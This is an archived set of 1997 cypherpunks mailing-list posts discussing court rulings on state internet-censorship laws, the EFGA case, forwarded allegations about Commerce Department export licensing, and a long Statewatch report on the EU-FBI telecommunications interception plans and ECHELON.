        The hour is getting late."
                       
        All along the watchtower
        Princes kept the view
        While the women came and went,
        Barefoot servants, too
        Outside, in the cold distance,
        A wildcat did growl
        Two riders were approaching
        The wind began to howl.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 12:20:26 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <v03102802afd0a943ff87@[10.0.2.15]>
Message-ID: <v03102800afd101d568ca@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:41 PM -0500 6/20/97, Mac Norton wrote:
>On Fri, 20 Jun 1997, Steve Schear wrote:
>
>> >But the rulings differ in important ways. Manhattan's
>> >Judge Preska did not answer whether the New York law
>> >violated the First Amendment, saying she was going to
>> >wait for the U.S. Supreme Court's to rule on the
>> >Communications Decency Act. She said, however, that
>> >she didn't *need to answer* that question to strike
>> >down the law since it violated the U.S. Constitution's
>> >ban on states attempts to regulate commerce outside
>> >their borders.
>>
>> Might this also mean that states attempting to restrict Internet gaming
>> might similarly be restrained?
>
>Not necessarily, and that's ilustrative of one of the problems with this
>decision on Commerce Clause grounds.  Is child porn, like other articles
>of "commerce", generic across state lines, or is it subject to a Miller
>"community standard"?  Same for the "harmful to minors" standard?
>MacN

Seems to me that community standards ahould only be applied when the
violation occurs completely within the confines of the local jurisdiction,
not via requested transmission from another jurisdiction.

--Steve



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 12:23:20 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <3.0.2.32.19970620165723.00756920@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970620210534.00752d60@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:14 PM 6/20/97 -0400, you wrote:
>>Yee-hah!  If you ignore CONgress, we've had a good week, between
>>this court and the New York CDA courts doing the right thing
>>and the DES crack finishing.

>"Yee-ha"?  Is this meant to be a derisive comment?  No money.  No legal 
>training.  Not a lawyer to support us.  What were we to do?  We went to the 
>ACLU and they told us the case had no standing - they couldn't help us with 
>the Georgia law.  We got no better treatment from EFF.

Well, in some places, it's an expression of excitement, and it was intended
as such here.  I guess some things don't translate well to ASCII,
given that you seem to think I was picking on you?

The Georgia law was a bad one, and needed overturning.
I hadn't realized you were running EFGA on that small a scale, 
so I'm even more impressed that you succeeded.  
Similarly, the New York court's decision on the NY version of the CDA
was quite welcome, and the distributed internet project to crack
the DES Challenge key succeeded on the day that the Senate committee
was trying to tell us that 56kbps should be plenty for anybody.
It's been a _Good_Week_!

>This message was not sent to this list - cyberpunks or remailer operators.  
>It was only sent to an internal EFGA list of people who made a claim that 
>they wanted to find out more about EFGA.

It got forwarded to remailer-operators, and was an obvious enough match
with Cypherpunks interests that I copied my reply there as well.
We're interested in privacy and anonymity, and in using cryptography
to build tools that will protect and advance these things.

Good court precedents are important as well; there are other people
in the movement doing lawsuits on the crypto export issues and
on free speech.  

>Yee-ha?  Meet in Underground Atlanta wearing masks?  
>What kind of comments are these?  
OK, so it was a lame attempt at humor, but a decision in favor
of anonymity is a Good Thing, and it seemed to be in character
for getting together to celebrate.

>Are you, like others on this list implying that you can't afford 
>the three dollars or you just don't know how to dial the phone?

It's not the three dollars in parking that's keeping me from joining you
in celebrating; it's the $600 airfare I'd need to get to Atlanta...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sat, 21 Jun 1997 12:38:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: HOT Summer IN White House
Message-ID: <3.0.32.19691231160000.006d1054@best.com>
MIME-Version: 1.0
Content-Type: text/plain



the New Yoahkah just ran a piece on the gfriend-o-Brown.
Quite worth a read.  Most of the first paragraph below seems
sort of lifted from that article.


At 09:42 AM 6/20/97 -0700, Tim May wrote:
>
>
>This item is one of many such articles outlining the corruptions within
>Washington. Some of these corruptions are huge, and go far beyond simple
>pork-barreling. On a level with Watergate, it seems to many of us.
>
>I don't usually forward items from "talk.politics.crypto," as I assume
>many of you are already reading it. But this particular item fits with the
>"Washington as crime capital in more ways than one" them I've been
>hitting.
>
>Look especially for how favors were granted for high tech exports.
>
>--Tim
>
>> From: softwar@us.net (SOFTWAR)
>> Newsgroups:
>talk.politics.crypto,alt.politics.org.nsa,alt.politics.org.fbi,alt.politics
.cia,alt.politics.clinton,alt.politics.datahighway,talk.politics.misc,alt.po
litics.democrats.d,alt.politics.usa.republican
>> Subject: HOT Summer IN White House
>> Date: Fri, 20 Jun 1997 10:35:29 GMT
>
>> 
>> It's going to be a long hot summer for the Clinton
>> administration.
>> 
>> Wednesday night ABC Primetime did a special on Ron Brown's
>> girlfriend.  The accusations  flying around the dead Secretary
>> of Commerce do not bode well for the living inside the Beltway.
>> First, it seems that Ron acquired an offshore bank account with
>> nearly a million dollars deposited for him by the Government of
>> Vietnam.  Vietnam wanted to normalize trade relations with the
>> US and bribing the top dog at Commerce certainly helped grease
>> the skids.  Vietnam got their trade deal but Brown found out
>> that the FBI knew about his bank account.  So he could not touch
>> the money.  The bribery accusation is collaborated by an
>> ex-Vietnamese official who has also turned his evidence over to
>> the FBI.  Mr. Brown's girlfriend plans to testify before both
>> the Senate and the House committees investigating wrongdoing in
>> the Clinton administration.
>> 
>> Another revelation which should come as no shock is that the
>> First Lady put John Huang in the Commerce Department.  This
>> demand apparently did not sit well with Mr. Brown, who,
>> according to his girlfriend, did not like Mrs. Clinton.  It
>> seems that Ron's strong personality ran smack head on into
>> Hillary's demanding attitude.  Yet, he bent over backward and
>> made sure that Huang was hustled into his government position,
>> complete with a secret clearance.  Once Huang entered the
>> Commerce Department strange events really started to pop up.
>> The Commerce Department initially denied Huang had access to
>> anything important. It is now known that Huang attended dozens
>> of secret CIA briefings.  Huang is alleged to have discussed
>> secret materials with his former employers at the Lippo group.
>> The allegations come from material obtained by taps on Huang's
>> Commerce Department telephone.
>> 
>> Can the same be said for Ira Sockowitz?  
>> 
>> No.  Ira Sockowitz was placed into his Commerce position
>> directly and personally by President Clinton.  It was Ira
>> Sockowitz who ran Ron Borwn's airline seating arrangements,
>> between working on government affairs.  Whenever Mr. Brown would
>> fly on a government sponsored trade trip - Ira would line up big
>> Corporate powers to ride along on the party plane.  Mr.
>> Sockowitz had more experience as a DNC fund-raiser than security
>> software.  Despite this lack of technical skills Mr. Sockowitz
>> entered the field of banking security software at Commerce.  It
>> is the Commerce Department which approves or denies export of
>> such financial software.  The amount of money involved, invested
>> and possible returns, are staggering.  Obviously, the
>> push/pull/shove involved in getting such a product approved is
>> no easy task.  Few export licenses have been issued and those
>> who have them are not too anxious for any others to join them.
>> 
>> Just how easy was it to obtain such a privilege?  Not very.  Not
>> even Fortune 500 companies could obtain export rights from the
>> Commerce Department.  Letters from IBM, Motorola, Digital, HP
>> and a host of other billion dollar firms clearly indicate their
>> unsuccessful efforts to obtain Commerce licenses to export their
>> products.
>> 
>> However, letters from certain other companies are covered with
>> redacted notes which the Commerce Department refuses to release.
>> One letter to the Commerce Department in particular was faxed to
>> someone (also redacted) along with a memo on how to obtain a
>> "waiver" for export.  Another set of Sockowitz documents being
>> withheld are a set of hand written notes on a conversation, a
>> three pages fax and two applications for license for export
>> dated 8/11/94.  The Clinton administration will not say who sent
>> the fax nor will they say who Ira Sockowitz talked to.  Yet,
>> clearly the topic was a license to export.  A license that could
>> have been worth billions of dollars.
>> 
>> It's going to be a long hot summer for the Clinton
>> administration.
>> 
>> 1 if by land, 2 if by sea.  Paul Revere - encryption 1775
>> 
>> Charles R. Smith
>> SOFTWAR
>> http://www.us.net/softwar
>> 
>> Pcyphered SIGNATURE:
>> 5317BD5D86A9257B2048D1D80523D9ACF320DB56A078CA4EA62BABF7A43EBE6B
>> 2F5FB787CDEF242FA01EF13984F7071AC2B401DAD0010740F1F024C3CCF9D841
>> 9760977F67662EEF
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 21 Jun 1997 13:20:03 +0800
To: cypherpunks@Algebra.COM
Subject: fbi+eu mass wiretapping?
Message-ID: <199706210507.WAA01992@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: chasm@insync.net (Schuetzen)
To: ADVISORY.LIST@insync.net, snetnews@world.std.com
Subject: SNET: (fwd) piml] Global telephone tapping system.
Date: Fri, 20 Jun 1997 04:19:01 GMT


- ->  SearchNet's   SNETNEWS   Mailing List

X-No-Archive: Yes

FORWARDED On Thu, 19 Jun 1997 15:19:36 -0400, "Mark A. Smith"
<msmith01@eng.eds.com> wrote:
To: piml@mars.galstar.com
Subject: piml] Global telephone tapping system.
From: "Mark A. Smith" <msmith01@eng.eds.com>
Date: Thu, 19 Jun 1997 15:19:36 -0400

This is a multi-part message in MIME format.

     European Union and FBI launch global surveillance system

          -------------------
          From Statewatch,
          25 February 1997,
          London, UK
          -------------------

          "The EU, in cooperation with the FBI of the USA, is launching
          a system of global surveillance of communications to combat
          "serious crime" and to protect "national security", but to do
          this they are creating a system which can monitor everyone
          and everything. The EU will be able to trawl the airwaves for
          "subversive" thoughts and "dissident" views and, with its
          partners, across the globe."

          "It seems extraordinary given the concern over the Police
          Bill in the UK and the "Clipper chip" in the USA that there
          has been no debate over the creation of a global telephone
          tapping system initiated by the EU and the USA and supported
          by Canada, Australia, Norway and Hong Kong."

          "the UK Parliament, like many others in the EU, has been by-
          passed in the most blatant way. To claim as the Home
          Secretary does that the "Memorandum of Understanding" is "not
          a significant document" and to fail to send the main EU
          Council Resolution to parliament for scrutiny is quite
          extraordinary when the Police Bill - which extends police
          surveillance - is going through parliament."

          OVERVIEW

          EU-FBI: global tapping system

          The Council of the European Union and the FBI in Washington,
          USA have been cooperating for the past five years on a plan
          to introduce a global telecommunications tapping system.

          The system takes advantage of the liberalisation of
          telecommunications - where private companies are taking over
          from national telephone systems - and the replacement of
          land/sea based lines and microwave towers by satellite
          communications.

          Telephone lines are now partly land-based or under sea or via
          microwave land-based towers but the new generation of
          telecommunications will be totally satellite based.

          The EU-FBI initiative notes the demise of:

            1. state-owned telephone companies
            2. nationally-based telephone systems is concerned about:
            3. the problems faced with intercepting "mobile" phones and
               encrypted communications and wants to ensure:
            4. there is harmonisation of national laws on interception
            5. to ensure that telecommunications provider business
               cooperate with the police and internal security
            6. the equipment produced has standards which can be
               intercepted
            7. as many countries as possible to sign up and thus create
               a de facto global system (through provisions of
               equipment etc to third countries)

          A related disclosure in a book by Nicky Hager shows that
          instead of "suspects" and "targets" the ECHELON system simply
          trawls the airwaves for "subversive thoughts" in written form
          and increasingly in verbal form.

          ECHELON is run under the 1948 UKUSA agreement by the US, UK,
          Canada, New Zealand and Australia.

          REPORT

          The Trevi decision

          The first reference to this initiative was at a Trevi
          Ministers meeting in December 1991 which decided that:

               "a study should be made of the effects of legal,
               technical and market developments within the
               telecommunications sector on the different
               interception possibilities and of what action
               should be taken to counter the problems that have
               become apparent"

          At the meeting of Trevi Ministers in Copenhagen in June 1993
          they agreed the text of a "questionnaire on phone tapping"
          which was sent to each Member State in July 1993 and to the
          new members (Finland, Sweden and Austria) in September 1993
          (see below).

          EU-FBI linkup

          At the first meeting of the new Council of Justice and Home
          Affairs Ministers in Brussels on 29-30 November 1993 they
          adopted the following Resolution on "the interception of
          telecommunications" which speaks for itself and reproduced
          here in full:

          "COUNCIL RESOLUTION ON THE INTERCEPTION OF TELECOMMUNICATIONS

          The Council:

            1. calls upon the expert group to compare the requirements
               of the Member States of the Union with those of the FBI;

            2. agrees that the requirements of the Member States of the
               Union will be conveyed to the third countries which
               attended the FBI meeting in Quantico and were mentioned
               in the memorandum approved by the Ministers at their
               meeting in Copenhagen (Sweden, Norway, Finland
               (countries applying for accession to the European
               Communities), the USA and Canada) in order to avoid a
               discussion based solely on the requirements of the FBI;

            3. approves for practical reasons the extension to Hong
               Kong, Australia and New Zealand (which attended the FBI
               seminar) of the decision on co-operation with third
               countries which was taken at the Ministerial meeting in
               Copenhagen;

            4. hereby decides that informal talks with the above-named
               countries may be envisaged: to that end the Presidency
               and the expert group might, for example, organize a
               meeting with those third countries to exchange
               information."

          Source: "Interception of communications", report to COREPER,
          ENFOPOL 40, 10090/93, Confidential, Brussels, 16.11.93.

          Main Resolution on the "lawful interception of
          communications"

          The draft Resolution on the "lawful interception of
          communications", an initiative by the Netherlands (which set
          out the "Requirements", see below) was discussed in the K4
          Committee in March, April, November and December 1994.

          The JHA Council discussed the draft Resolution in March 1994
          but it was only formally adopted by "written procedure" (by
          telexes to Member States dated 21.12.94, 9.1.95, and 18.1.95:
          source Council of the European Union; the last date is after
          the Resolution was agreed) on 17 January 1995. The decision
          was not published in any form for almost two years - on 4
          November 1996 it finally appeared in the Official Journal.
          The Resolution has three parts: First, the short Resolution
          which says:

               "the legally authorised interception of
               telecommunications is an important tool for the
               protection of national interest, in particular
               national security and the investigation of serious
               crime."

          Second, the "REQUIREMENTS" which place a whole series of
          obligations on: network providers, eg: satellite
          communications networks; and on service providers, who
          provide the equipment for national telecom centres, business,
          groups and individuals. And finally, a Glossary of
          definitions.

          The "Requirements" are based on the needs of "law enforcement
          agencies" (defined as "a service authorised by law to carry
          out telecommunications interceptions") who "require access to
          the entire telecommunications transmitted.. by the
          interception subject" (defined as: "Person or persons
          identified in the lawful authorisation and whose incoming and
          outgoing communications are to be intercepted") who is the
          subject of an "interception order" defined as: "An order
          placed on a network operator/service provider for assisting a
          law enforcement agency with a lawfully authorised
          telecommunications interception."

          The "law enforcement agencies" are required to be provided
          with access not just to the content of a communication, in
          whatever, form, but also "associated data", "post-connection"
          signals (eg: conference calling or call transfer), all
          numbers called, all numbers called by - in both cases even if
          a connection is not made - plus "realtime, fulltime
          monitoring capability", the location of mobile subscribers,
          simultaneous and multiple interceptions "by more than one law
          enforcement agency", and "roaming" by mobile phone users
          "outside their designated home serving area".

          The network operators and service providers are expected to
          provide "one or several" permanent "interfaces from which the
          intercepted communications can be transmitted to the law
          enforcement monitoring facility." And, if they provide
          "encoding, compression or encryption" to the customer they
          must provide it en clair (decrypted) to the law enforcement
          agencies.

          Finally, they are obliged to ensure that:

               "neither the interception target nor any other
               authorised person is aware of any changes made to
               fulfil the interception order... [and] to protect
               information on which and how many interceptions are
               being or have been performed, and not to disclose
               information on how interceptions are carried out."

          Source: "Memorandum of Understanding concerning the lawful
          interception of telecommunications", ENFOPOL 112, 10037/95,
          Limite, Brussels, 25.11.95; this report contains the
          "Memorandum" with the Resolution adopted on 17 January 1965
          attached. The Resolution was published in the Official
          Journal on 4.11.96, ref: C 329 pages 1-6.

          Memorandum of Understanding on the Legal Interception of
          Telecommunications

          The "Memorandum of understanding with third countries" (later
          described as the "Memorandum of Understanding on the Legal
          Interception of Telecommunications") was discussed at the K4
          Committee in November 1994.

          The significance of the "Memorandum" is that it extends the
          agreement on the surveillance of telecommunications to non-EU
          countries who are being invited to adopt it - and with it the
          "Requirements".

          The Memorandum of Understanding was signed by the 15 EU
          Member States on 23 November 1995 at the meeting of the
          Council of Justice and Home Affairs Ministers.

          The contact addresses for signatory countries and for further
          information, which confirms the EU-USA link, should be sent
          to:

            a. Director Federal Bureau of Investigation, Attention:
               Information Resource Division, 10 Pennsylvania Avenue,
               N.W., Washington D.C. 20535

            b. General Secretary of the Council of the European Union,
               FAO The President, Rue de la Loi 175, B-1048 Brussels,
               Belgium."

          The number of signatories to the "Memorandum" is open-ended,
          any country can join providing the existing member states
          agree.

          It invites "participants" because "the possibilities for
          intercepting telecommunications are becoming increasingly
          threatened" and there is a need to introduce "international
          interception standards" and "norms for the telecommunications
          industry for carrying out interception orders" in order to
          "fight.. organised crime and for the protection of national
          security."

          The strategy appears to be to first get the "Western world"
          (EU, US plus allies) to agree "norms" and "procedures" and
          then to sell these products to Third World countries - who
          even if they do not agree to "interception orders" will find
          their telecommunications monitored by ECHELON (see below) the
          minute it hit the airwaves.

          Source: "Memorandum of Understanding concerning the lawful
          interception of telecommunications", ENFOPOL 112, 10037/95,
          Limite, Brussels, 25.11.95.

          "not a significant document" - the Home Secretary

          The Chair of the Select Committee on the European Communities
          in the House of Lords, Lord Tordoff, took up the "Memorandum"
          with the Home Secretary, Michael Howard, in an exchange of
          letters on the Committee~s access to documents for scrutiny.

          On the subject of the "Memorandum of Understanding on the
          Legal Interception of Telecommunications" Mr Howard told Lord
          Tordoff:

               "The Memorandum of Understanding is a set of
               practical guidelines to third countries on the
               lawful interception of telecommunications. It is
               NOT A SIGNIFICANT DOCUMENT and does not, therefore,
               appear to meet the criteria for Parliamentary
               scrutiny of Title VI documents." (emphasis added)

          It is quite clear from this Briefing that the "Memorandum" is
          not an insignificant document concerning as it does a EU-US
          plan for global telecommunications surveillance.

          The "Memorandum" itself is just two pages. It is the full
          text of the "Resolution" attached to it which demonstrates
          its full meaning.

          However, not only did Mr Howard not think the "Memorandum"
          was "a significant document" he also apparently believes the
          attached Resolution also insignificant as he did not submit
          it to the House of Lords Committee for scrutiny prior to its
          adoption in January 1995 or thereafter.

          Source: Correspondence with Ministers, 9th Session 1995-96,
          HL 74, pages 26-29.

          Letter to international standards bodies

          In December 1995 COREPER agreed a letter to be sent out to
          "international standardisation bodies in the field of
          telecommunications" (IEC, ISO and ITU). The letter said:

               "Modern telecommunications systems present the risk
               of not permitting the lawful interception of
               telecommunications if they have not been adapted,
               at the standardisation and design stage, to allow
               such interception."

          These bodies are "invited" to take account of the
          requirements of the Council Resolution of 17 January 1995 and
          told that Member States would be applying "these requirements
          to network operators and providers of services".

          The December 1995 letter to international standards bodies
          and the publication of the main Resolution in November 1996
          in the Official Journal announced to manufacturers of
          equipment and service providers that they will be expected to
          meet the "Requirements" allowing surveillance for any new
          contracts within the EU and via the "Memorandum" that these
          standards would also apply to any countries signing up to it
          - for example, the USA.

          Source: "Draft letter to be sent to the international
          standardisation bodies concerning the Council Resolution of
          17 January 1995 on the lawful interception of
          communications", Council General Secretariat to
          COREPER/COUNCIL, ENFOPOL 166, 12798/95, Limite, 14.12.95.

          Letter to non EU countries

          At its meeting on 28-29 November 1996 the Council of Justice
          and Home Affairs Ministers agreed a "draft letter" prepared
          by the K4 Committee to "non EU participants in the informal
          international Law Enforcement Telecommunications Seminar".

          "The letter.. informs you of the wider international support
          for the "Requirements" annexed to the Council Resolution.

          The Council considers that the lawful monitoring of
          telecommunications systems is an important tool in the
          prevention and detection of serious crimes and in
          safeguarding national security. Mindful of new technological
          developments in the field of telecommunications, the Council
          adopted the Resolution of 17 January, 1996 laying down
          technical Requirements, for the lawful interception of
          telecommunications. The Member States of the European Union
          have been called upon to apply those Requirements to
          telecommunications operators and service providers...

          The "Requirements" have been discussed by interception
          experts from EU Member States with colleagues from other
          countries which are equally concerned to ensure that adequate
          technical provision is made for legally authorized
          interception in modern telecommunications technologies.
          Arising from those discussions which have taken place during
          a seminar, the Council of the European Union has received
          expressions of support for the Requirements from Australia,
          Canada, Norway and the United States of America. In
          particular, the relevant authorities In those countries have
          undertaken to (i) have the Requirements taken into account in
          their appropriate national policies and (ii) use the
          Requirements as a basis for discussions with the
          telecommunications industry, standards bodies and
          telecommunications operators...

          You are invited to take note of this letter for the purpose
          of your further discussions with the telecommunications
          industry standards bodies and telecommunications operators.

          The President, for the Council of the European Union."

          Source: "Draft letter to non EU participants in the informal
          international Law Enforcement Telecommunications Seminar
          regarding the Council Resolution", ENFOPOL 180, 11282/96,
          Limite 6.11.96.

          Behind the scenes

          Behind the formal decisions and letters the various Working
          Parties under the K4 Committee were at work on the details.

          In January 1995 the Police Cooperation Working Group, which
          comes under the K4 Committee, considered a report by the UK
          delegation on the problems presented by the next generation
          of satellite-based telecommunications systems which should be
          able to:

               " ~"tag" each individual subscriber in view of a
               possibly necessary surveillance activity."

          The report said that the new mobile individual communications
          working through satellites were already underway and unlike
          the current earth-bound systems based on GSM-technology would
          "in many cases operate from outside the national territory".

          The rationale for the plan was that these new systems:

               "will provide unique possibilities for organised
               crime and will lead to new threats to national
               security".

          The report said all the new systems have to have the
          capability to place all individuals under surveillance - the
          product of "tagging" individual phone lines could therefore
          easily be extended to political activists, "suspected"
          illegal migrants and others.

          The fact that the new systems were being developed by large
          private international corporations, not national state-run
          systems, created "unusual problems for the legally permitted
          surveillance of telecommunications". The first problem to
          surface, according to the report, was that:

               "initial contacts with various consortia... has met
               with the most diverse reactions, ranging from great
               willingness to cooperate on the one hand, to an
               almost total refusal even to discuss the question."

          It goes on to say:

               "it is very urgent for governments and/or
               legislative institutions to make the new consortia
               aware of their duties. The government will also
               have to create new regulations for international
               cooperation so that the necessary surveillance will
               be able to operate."

          Another "problem" for surveillance under the new systems is
          that satellites will communicate with earth-bound stations
          which will function as distribution points for a number of
          adjoining countries - there will not be a distribution point
          in every country. While the existing "methods of legally
          permitted surveillance of immobile and mobile
          telecommunications have hitherto depended on national
          infrastructures" (italics added). The:

               "providers of these new systems do not come under
               the legal guidelines used hitherto for a legal
               surveillance of telecommunications."

          The report says it would be difficult to monitor the "upward
          and downward connections to the distribution point" so the
          "tag" would start the surveillance at "the first earthbound
          distribution point".

          Due to the number of different countries that might be
          involved in making a connection it has been agreed that the
          following "relevant data" should be provided: "the number of
          the subscriber calling, the number of the subscriber being
          called, the numbers of all subscribers called thereafter".
          The report uses the example of a subscriber who is a national
          of country A, with a telephone subscription in country B
          (supplying the relevant data for the "tag"), who occasionally
          uses the system in country C which uses the distribution
          point in country D (which conducts the surveillance) and who
          is in contact with a person in country E concerning a
          suspected serious crime in country F.

          The report with a series of recommendations including
          amendments to national laws to "ensure that surveillance will
          be possible within the new systems" and that "all those who
          are involved in planning the new systems" should be made
          aware of "the demands of legally permitted surveillance".

          A later report from the same Working Party, in June 1995,
          concludes:

               "These new telecommunications systems have much in
               common with existing mobile phone systems... [and]
               will very quickly develop into a global problem,
               which looks like it can only be controlled by
               global cooperation of a hitherto unknown degree."

          Sources: "Legally permitted surveillance of
          telecommunications systems provided from a point outside the
          national territory", report from the UK delegation to the
          Working Group on Police Cooperation, ENFOPOL 1, 4118/95,
          Restricted, 9.1.95; Report from the Presidency to the Working
          Group on Police Cooperation, ENFOPOL 1, 4118/2/95 REV 2,
          Limite, 2.6.95.

          Questionnaire on "national law regarding phone tapping"

          In November 1995 while the EU Ministers were signing the
          "Memorandum of Understanding" for non-EU countries a Working
          Party under the K4 Committee was considering a report from
          the Spanish delegation on national laws within the EU on
          phone tapping surveillance.

          The 1995 report opens with the cynical observation:

               "As it was foreseeable, all states which have
               answered the questionnaire guarantee the
               confidentiality of private communications either by
               their constitution or their Basic Law, or both, in
               accordance with Article 8 of the European
               Convention on Human Rights."

          However, it goes on to observe, and assume, "under certain
          conditions the interception of telecommunications" is
          allowed.

          The report says the country surveys showed - and this is of
          crucial importance regarding surveillance by ECHELON (see
          below) that:

               "At the moment there does not seem to be a legal
               problem for interception that depends on the kind
               of device used for the transmission of voice, text,
               data or images"

          This is a reference to forms of "written" communications or
          "images" sent by e-mail, fax, and telex.

          It summarises the legal positions as: the following countries
          "can simply" make changes in the penal procedure: Germany,
          Austria, Denmark, Luxembourg, Spain and Portugal, while
          Belgium, France, the UK, Ireland, Greece, Norway and Sweden
          require new legislation, with a combination of both in Italy.

          Discussions had taken place, the report says, on the "great
          advantages" the police have if: "they can keep people under
          surveillance on the grounds of suspicion of criminal
          activity". Some countries require objective evidence of an
          offence before surveillance can start but in Austria a
          request for a phone tap "leads automatically to an
          investigation being opened".

          Another problem addressed was the right of individual's to be
          informed about phone tapping (Article 6.3 in relation to
          Article 8 of the ECHR):

               "Obviously such information prejudices the result
               of the police investigation. Therefore, each
               country has to arrange for a procedure to legally
               delay notification."

          The report recommends the Danish system where a lawyer is
          appointed by the Justice Ministry who represents the
          interests of the person to be placed under surveillance at a
          private hearing but is not allowed to tell the person
          concerned.

          The survey found that the maximum duration of authorisation
          varied from 2 weeks to 4 months.

          The report concludes that phone tapping "is justified by a
          serious offence" where "a punishment of imprisonment of one
          year or more" is available to fight "organised crime". Yet
          again the justification for combating "organised crime" is so
          widely drawn - sentences of just one year or more - that the
          purpose of surveillance has to be fundamentally questioned.

          Source: "Report on the national laws regarding the
          questionnaires on phone tapping", Report from the Spanish
          Presidency to the Working Group on Police Cooperation,
          ENFOPOL 15, 4354/2/95 REV 2, Restricted, 13.11.95.

          Who is going to pay for it?

          One issue on which the reports from the K4 Committee are
          silent is who is to pay the costs for the special facilities
          needed under the "Requirements" of law enforcement agencies -
          network and service providers or the governments?

          However, a report produced by the German government, says
          that the costs are going to be astronomical. It estimates
          that to set up surveillance of mobile phones alone will cost
          4 billion D-Marks.

          Source: draft report, dated 5 May 1995, from the German
          government on the "problems and solutions regarding the
          surveillance of telecommunications".

          The "ECHELON" connection

          "ECHELON" is a world-wide surveillance system designed and
          coordinated by the US NSA (National Security Agency) that
          intercepts e-mail, fax, telex and international telephone
          communications carried via satellites and has been operating
          since the early 1980s - it is part of the post Cold War
          developments based on the UKUSA agreement signed between the
          UK, USA, Canada, Australia and New Zealand in 1948.

          The five agencies involved are: the US National Security
          Agency (NSA), the Government Communications Security Bureau
          (GCSB) in New Zealand, Government Communications Headquarters
          (GCHQ) in the UK, the Communications Security Establishment
          (CSE) in Canada and the Defence Signals Directorate (DSD) in
          Australia.

          The system has been exposed by Nicky Hager in his 1996 book,
          Secret Power: New Zealand's role in the International Spy
          Network. He interviewed more than 50 people who work or have
          worked in intelligence who are concerned at the uses of
          ECHELON.

               "The ECHELON system is not designed to eavesdrop on
               a particular individual's e-mail or fax link.
               Rather, the system works by indiscriminately
               intercepting very large quantities of
               communications and using computers to identify and
               extract messages from the mass of unwanted ones."

          There are three components to ECHELON:
            1. The monitoring of Intelsats, international
               telecommunications satellites used by phone companies in
               most countries. A key ECHELON station is at Morwenstow
               in Cornwall monitoring Europe, the Atlantic and the
               Indian Ocean.

            2. ECHELON interception of non-Intelsat regional
               communication satellites. Key monitoring stations are
               Menwith Hill in Yorkshire and Bad Aibling in Germany.

            3. The final element of the ECHELON system is the
               surveillance of land-based or under-sea systems which
               use cables or microwave tower networks.

          At present it is thought ECHELON's effort is primarily
          directed at the "written form" (e-mails, faxes, and telexes)
          but new satellite telephones system which take over from old
          land-based ones will be as vulnerable as the "written word".

          Each of the five centres supply "Dictionaries" to the other
          four of keywords, phrases, people and places to "tag" and the
          tagged intercept is forwarded straight to the requesting
          country.

          It is the interface of the ECHELON system and its potential
          development on phone calls combined with the standardisation
          of "tappable" telecommunications centres and equipment being
          sponsored by the EU and the USA which presents a truly global
          threat over which there are no legal or democratic controls.

          Source: "Exposing the global surveillance system", Nicky
          Hager. CovertAction Quarterly, Winter 1996-97, pages 11-17.

          CHRONOLOGY

          December 1991
          A meeting of the Trevi Ministers decide a study should be
          carried out on the new telecommunications systems and "the
          different interception possibilities".

          29-30 November 1993
          The first meeting of the new, post-Maastricht, Council of
          Justice and Home Affairs Ministers meeting in Brussels adopt
          a Resolution calling on experts to compare the needs of the
          EU "with those of the FBI".

          March, April, November and December 1994
          The K4 Committee discusses the draft Resolution on the lawful
          interception of telecommunications and the "Requirements" to
          be placed on network and service providers.

          March 1994
          The Council of Justice and Home Affairs Ministers discuss the
          draft Resolution.

          November 1994
          The K4 Committee discusses the draft "Memorandum of
          Understanding with third countries".

          9 January 1995
          The Working Group on Police Cooperation, under the K4
          Committee, considers a report on the need to "tag" all
          communications.

          17 January 1995
          The Resolution is adopted by "written procedure". It is not
          published in any form until 4 November 1996 when it appears
          in the Official Journal.

          13 November 1995
          The Working Group on Police Cooperation consider a report on
          the situation in each EU state on telephone tapping.

          23 November 1995
          The Council of Justice and Home Affairs Ministers agree the
          "Memorandum of Understanding". It is not published in any
          form.

          December 1995
          COREPER agree the text of a letter to be sent to
          international standards bodies attaching the Resolution.

          7 May 1996
          Michael Howard, the Home Secretary, tells the Chair of the
          Select Committee on the European Communities in the House of
          Lords that the "Memorandum of Understanding on the legal
          interception of communications" is "not a significant
          document".

          28 November 1996
          The Council of Justice and Home Affairs Ministers agree the
          text of a letter to be sent out to other potential
          "participants" (countries) in the "Memorandum of
          Understanding".

          Council of Justice and Home Affairs Ministers
          Set up under Title VI, Article K, of the Maastricht Treaty.
          First meet on 29 November 1993 when it took over from the
          Trevi Group and the Ad Hoc Group on Immigration.

          K4 Committee
          Also set up under the Maastricht Treaty to coordinate the
          work on the "third pillar" - policing, immigration and
          asylum, and legal cooperation. Is comprised of senior
          officials from Interior Ministries and prepares report to go
          to the Council.

          Under the K4 Committee there are three Steering Groups
          covering policing and customs, immigration and asylum, and
          legal cooperation (civil and criminal) to which a series of
          Working Groups report.

          COREPER
          The Committee of Permanent Representatives from each EU state
          based in Brussels.

     -----------------------------------------------------------------------
     Copyright: Statewatch, February 1997. Material in this report may be
     used provided the source is acknowledged.

